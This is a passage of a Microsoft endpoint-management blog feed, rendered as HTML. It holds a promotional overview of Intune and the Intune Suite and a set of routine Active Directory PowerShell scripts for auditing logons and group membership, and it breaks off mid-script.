<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-ItemProperty</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SOFTWARE\Policies\Google\Chrome"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"BuiltInDnsClientEnabled"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Type DWord </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Value $disableBuiltInDNS</span></span></code></pre>
</div><p>source: <a href="https://learn.microsoft.com/en-us/entra/global-secure-access/how-to-install-windows-client#disable-ipv6-and-secure-dns" target="_blank" rel="noreferrer">Microsoft Learn</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Microsoft Intune]]></title>
            <link>https://michaelsendpoint.com/intune/intune.html</link>
            <guid>https://michaelsendpoint.com/intune/intune.html</guid>
            <pubDate>Sun, 28 Jul 2024 16:26:29 GMT</pubDate>
            <description><![CDATA[Microsoft Intune Information]]></description>
            <content:encoded><![CDATA[<h1 id="why-you-should-use-intune" tabindex="-1">Why you should use Intune? <a class="header-anchor" href="#why-you-should-use-intune" aria-label="Permalink to &quot;Why you should use Intune?&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="what-actually-is-microsoft-intune-tldr" tabindex="-1">What actually Is Microsoft Intune (TLDR)? <a class="header-anchor" href="#what-actually-is-microsoft-intune-tldr" aria-label="Permalink to &quot;What actually Is Microsoft Intune (TLDR)?&quot;">&ZeroWidthSpace;</a></h2>
<p>Microsoft Intune is like the Swiss Army knife of device management. It's a cloud-based (SaaS) service that allows organizations to efficiently manage their fleet of devices from a single console.
Intune is cross-platform, so it can manage your Windows, MacOS, iOS, Android and Linux Devices. In addition Intune is super scalablem, no matter if you want to manage 10 or 10.000 Devices.</p>
<p>&nbsp;</p>
In fact, Intune is more than just an MDM, its a UEM (Unified Endpoint Management). That means that it`s managing alls aspects of your Endpoint needs.
It`s not only capable of monitoring devices and pushing Policies,it is also the connection to the Microsoft Security Services (Defender for Endpoint) and there settings, distributes apps and manages parts of the access like certificates, conditional access or compliance.
<h2 id="but-why-intune-though" tabindex="-1">But why Intune though? <a class="header-anchor" href="#but-why-intune-though" aria-label="Permalink to &quot;But why Intune though?&quot;">&ZeroWidthSpace;</a></h2>
<p><strong>Cloud-Based Management</strong><br>
Intune’s cloud-native architecture allows organizations to manage devices from anywhere, without the need for on-premises infrastructure. Dynamic provisioning simplifies device setup, transforming new devices into fully configured endpoints without reimaging.</p>
<p><strong>Security and Compliance</strong><br>
Intune provides advanced security features, leveraging Microsoft Security signals to protect corporate data. It ensures compliance by enforcing policies and monitoring device health.</p>
<p><strong>Cost-Effectiveness</strong><br>
By consolidating vendors and eliminating complex scripting, Intune reduces overall management costs. Its licensing model covers both Windows and non-Windows devices, making it a cost-effective choice.
In Addition, it is included in most Microsoft 365 licences (not Office 365).</p>
<p><strong>User Productivity</strong><br>
Intune enables modern provisioning through Windows Autopilot, enhancing end-user productivity. Centralized visibility allows IT teams to proactively address issues, minimizing disruptions.</p>
<p><strong>Unified Management</strong><br>
Intune goes beyond just Windows. It's a cloud-based solution that lets you manage Windows PCs, Macs, Androids, and iOS devices all from a single, intuitive console. This eliminates the need for multiple tools and simplifies administration for your IT team.</p>
<p><strong>Enhanced Security</strong><br>
Intune empowers you to configure robust security policies. You can enforce strong passwords, enable encryption, and restrict access to unauthorized apps. Additionally, Intune integrates with Microsoft EntraID, allowing you to manage user access and further strengthen your security posture.</p>
<p><strong>Simplified Deployment and Updates</strong><br>
Gone are the days of manually installing software on every device. Intune lets you remotely deploy essential applications and security updates to your entire device fleet. This ensures everyone has the latest tools and protection, reducing security vulnerabilities.</p>
<p><strong>Increased Productivity</strong><br>
Intune streamlines the user experience. With self-service options, employees can easily enroll their devices and access company resources. Additionally, Intune can pre-configure settings for new devices, minimizing setup time and getting everyone productive faster.</p>
<p><strong>Scalability and Cost-Effectiveness</strong><br>
Intune is a cloud-based service, so you don't need to invest in additional hardware or software. It scales seamlessly as your company grows, eliminating the need to constantly upgrade your infrastructure. Plus, it's part of the Microsoft 365 ecosystem, potentially reducing licensing costs if you already use other Microsoft 365 products.</p>
<p><strong>Return on Investment (ROI) example calculation for a 100 person businness wanting to adopt Intune in EUR and USD</strong><br>
(<em>Note: In this example the business has no Intune license in use.</em>)</p>
<p><a href="https://aka.ms/IntuneValueCalculator" target="_blank" rel="noreferrer">Intune Value Calculator</a></p>
<img src="\intune\intune_roi_eu_100.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<img src="\intune\intune_roi_us_100.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<h2 id="why-pay-an-extra-10€-for-the-intune-suite" tabindex="-1">Why pay an extra 10€ for the Intune Suite <a class="header-anchor" href="#why-pay-an-extra-10€-for-the-intune-suite" aria-label="Permalink to &quot;Why pay an extra 10€ for the Intune Suite&quot;">&ZeroWidthSpace;</a></h2>
<p><strong>Security &amp; Management All-in-One</strong><br>
Intune Suite isn't just one tool, it's a bundled package. You get endpoint analytics, mobile application management, remote help, and cloud-based Public Key Infrastructure (PKI) – all for one price. This lets you check devices, manage apps, and control access with a single console. Imagine the cost and complexity of buying and managing separate solutions for each!</p>
<p><strong>Reduced Complexity, Increased Efficiency</strong><br>
Managing multiple security and management tools can be a nightmare. Intune Suite simplifies things. With one seamless platform, your IT team can configure policies, deploy applications, and troubleshoot issues from a central location. This saves time, reduces errors, and frees up your IT staff to focus on other strategic initiatives.</p>
<p><strong>Cost Savings Through Consolidation</strong><br>
While 10€ per User per Month may seem like a chunk of change, consider the alternative. Purchasing separate best-of-breed solutions for each function within Intune Suite can be significantly more expensive. Plus, there's the cost of managing multiple vendor contracts and training. Intune Suite streamlines licensing and simplifies administration, potentially leading to overall cost savings.</p>
<p><strong>However, it's not a one-size-fits-all solution</strong></p>
<ul>
<li><strong>Consider your needs:</strong> If you only need basic mobile device management, Intune Suite might be overkill. Evaluate your specific requirements before committing. All Intune Suite functions are also available separatly.</li>
<li><strong>Explore alternatives:</strong> There are third-party solutions offering similar functionality. Research and compare pricing and features to see what best suits your needs.</li>
</ul>
<p><strong>Return on Investment (ROI) example calculation for a 1000 person businness wanting to adopt Intune Suite in EUR and USD</strong><br>
(<em>Note: In this example the business has M365 E5 Licenses already in use.</em>)</p>
<p><a href="https://aka.ms/IntuneValueCalculator" target="_blank" rel="noreferrer">Intune Value Calculator</a></p>
<img src="\intune\intune_suite_roi_eu_1000.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<img src="\intune\intune_suite_roi_us_1000.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<p>Ultimately, the 10 € price tag of the Intune Suite is the elefant in the room for many people, but it can be a great investment for businesses seeking a single pain of class cloud solution, user-friendly, and perfectly integrated into the Microsoft World that many business already use and many profesionals are familiar with. However, carefully assess if you can make use of the possibilites it brings or if a stagered approach / a single functionality is enough for you.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory | Powershell]]></title>
            <link>https://michaelsendpoint.com/powershell/ad.html</link>
            <guid>https://michaelsendpoint.com/powershell/ad.html</guid>
            <pubDate>Sun, 28 Jul 2024 16:26:29 GMT</pubDate>
            <description><![CDATA[Active Directory powershell scripts]]></description>
            <content:encoded><![CDATA[<h1 id="active-directory" tabindex="-1">Active Directory <a class="header-anchor" href="#active-directory" aria-label="Permalink to &quot;Active Directory&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="list-computer-objects-with-last-logon-time" tabindex="-1">List Computer-Objects with last logon time <a class="header-anchor" href="#list-computer-objects-with-last-logon-time" aria-label="Permalink to &quot;List Computer-Objects with last logon time&quot;">&ZeroWidthSpace;</a></h2>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">get-adcomputer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">properties lastlogontimestamp </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> sort name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> select Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{N</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'LastLogontimestamp'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; E</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">DateTime</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::FromFileTime(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.LastLogontimestamp).tostring(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"dd.MM.yyyy, hh:mm"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)}}</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> DistinguishedName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> export-csv</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path c:\install\adcomputer.csv</span></span></code></pre>
</div><h2 id="list-group-objects-with-no-member" tabindex="-1">List Group-Objects with no member <a class="header-anchor" href="#list-group-objects-with-no-member" aria-label="Permalink to &quot;List Group-Objects with no member&quot;">&ZeroWidthSpace;</a></h2>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-ADGroup</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Properties Members </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Members.count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">} </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Select Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> GroupCategory</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> DistinguishedName  </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> export-csv</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path c:\install\emptygroups.csv</span></span></code></pre>
</div><h2 id="list-group-objects-with-only-disabled-members" tabindex="-1">List Group-Objects with only disabled members <a class="header-anchor" href="#list-group-objects-with-only-disabled-members" aria-label="Permalink to &quot;List Group-Objects with only disabled members&quot;">&ZeroWidthSpace;</a></h2>
<div class="language-Powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">Powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ActiveDirectory</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$groups </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ADGroup</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Properties Members</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$groupsWithDisabledUsers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($group </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $groups) {</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $members </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ADObject</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">LDAPFilter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"(objectCategory=person)"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">SearchBase $group.DistinguishedName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">SearchScope OneLevel </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ResultSetSize </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">500000</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $disabledMembers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $members </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.ObjectClass </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 'user'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -and</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Enabled </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $false</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($members.Count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $disabledMembers.Count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-and</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $members.Count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-gt</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        $groupObject </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">PSCustomObject</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            GroupName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $group.Name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            DisabledMembers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $disabledMembers.Name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        $groupsWithDisabledUsers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $groupObject</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($groupsWithDisabledUsers.Count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-gt</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $outputPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "C:\Install\groups.csv"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $groupsWithDisabledUsers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Export-Csv</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $outputPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NoTypeInformation</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Groups with only disabled users exported to </span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$outputPath</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "No groups found with only disabled users."</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><h2 id="list-user-objects-with-last-logon-time" tabindex="-1">List User-Objects with last logon time <a class="header-anchor" href="#list-user-objects-with-last-logon-time" aria-label="Permalink to &quot;List User-Objects with last logon time&quot;">&ZeroWidthSpace;</a></h2>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">get-aduser</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">properties lastlogontimestamp </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> sort name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> select Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{N</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'Date LastLogontimestamp'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; E</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">DateTime</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::FromFileTime(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.LastLogontimestamp).tostring(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"dd.MM.yyyy"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)}}</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{N</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'Time LastLogontimestamp'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; E</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">DateTime</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::FromFileTime(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.LastLogontimestamp).tostring(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hh:mm"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)}}</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> DistinguishedName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> export-csv</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path c:\install\aduser.csv</span></span></code></pre>
</div><h2 id="list-user-objects-with-last-logon-time-and-there-azure-licenses" tabindex="-1">List User-Objects with last logon time and there azure licenses <a class="header-anchor" href="#list-user-objects-with-last-logon-time-and-there-azure-licenses" aria-label="Permalink to &quot;List User-Objects with last logon time and there azure licenses&quot;">&ZeroWidthSpace;</a></h2>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Install the Azure AD module if it's not already installed</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Install-Module</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name AzureAD </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Connect to Azure AD</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Connect-AzureAD</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get all users and their license details</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$azureADUsers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-AzureADUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">All </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$true</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-AzureADUserLicenseDetail</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get Active Directory users and their last logon timestamp</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$adUsers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ADUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Properties LastLogonTimeStamp </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Sort-Object</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Property Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Select-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span></span>
